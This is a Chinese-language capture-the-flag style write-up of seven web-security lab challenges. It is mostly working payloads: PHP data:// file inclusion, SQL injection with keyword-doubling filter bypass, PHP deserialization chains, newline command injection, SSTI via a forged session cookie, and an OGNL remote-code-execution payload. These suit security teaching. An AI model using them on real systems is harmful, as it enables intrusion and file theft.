某校网安综合实践（三）-web

1.文件包含

题目将文本”php”转换成”???”，bp抓包用重放器

view-source:10.12.153.8:30719/?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

或

view-source:10.12.153.8:30719/?file=data:text/plain,<?pHp%20system(%27tac%20fl*%27);?>

tip：PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=是base64编码，

转换后是<?php system(‘cat flag.php’);

2.sql注入

直接点登录查看提示，存在黑名单过滤，考虑采用双写绕过

1-查询数据库名字:easysql

1″ uniunionon seleselectct 1,2,database()#

2-查询表名:flag

admin” ununionion seselectlect 1,2,(selselectect grrooup_concat(table_name) frroom infoorrmation_schema.tables whewherere table_schema=’easysql’)#

3-查询列名:id

admin” ununionion seselectlect 1,2,(selselectect grrooup_concat(column_name) frroom infoorrmation_schema.columns whewherere table_schema=’easysql’ and table_name = ‘flflagag’ )#

4-查询id的内容

1″ uniunionon seleselectct NULL,NULL,(selselectect grrooup_concat(concat(id,’ ‘,flflagag)) frroom flflagag)#

获得flag

3.PHP反序列化漏洞

用hackbar将easy=easyeasyeasyeasyeasyeasyeasyeasyeasy&ez=;s:4:”str2″;O:7:”getflag”:1:{s:4:”file”;s:8:”flag.php”;}

POST过去在查看网页源代码就行了

4.远程命令执行

先输入127.0.0.1点确定，然后bp抓包，再在ip=127.0.0.1后面输入%0acat /flag >ping.php

构成ip=127.0.0.1%0acat /flag >ping.php，放行

然后访问ping.php，即在url后面加上/ping.php

不能用hackbar是因为直接在post输入ip=127.0.0.1%0acat /flag >ping.php

然后访问ping.php，网站会无法识别，网站不知道ip=127.0.0.1是什么命令

5.模版注入SSTI

先post传一下name，随便输入一个值

F12，找到存储里面的cookie，把session覆盖为：
.eJxljsEKwjAMht8lpw3GmPM22EUE8ejBXUPXxVpsN2w6UUrf3W5eRE8JX77_JwHcZAiaAJpRDFaP0GwKGIVNEDyxhwKYpCOPN3ol1h3UU1a7R2_PV1l3e2m76nhq2-RdjFDJCCHLS0RpBDNi2qyb1qnIa08WMdssAs_96lCy1sTXfVsvQI_af5Jm6oXhnxZH9zl9WAqnuJR2yP9IanEkhiyPEWJ8Ax8XUbo.ZxUbPA.wKUmPLpamne2LXEBGfc2rtknQok

然后在网页输入框输入http://10.12.153.8:32267/admin?cmd=popen&cmd2=cat /flag

6.JAVA框架漏洞

输入

%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{“cat”,”/flag”})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }

7.反序列化进阶

网址后加上/?want=O%3A4%3A”Road”%3A2%3A%7Bs%3A4%3A”test”%3BO%3A4%3A”Road”%3A2%3A%7Bs%3A4%3A”test”%3BN%3Bs%3A6%3A”string”%3BO%3A6%3A”Change”%3A1%3A%7Bs%3A1%3A”b”%3BO%3A4%3A”Hard”%3A1%3A%7Bs%3A6%3A”%00%2A%00var”%3Bs%3A52%3A”php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php”%3B%7D%7D%7Ds%3A6%3A”string”%3BN%3B%7D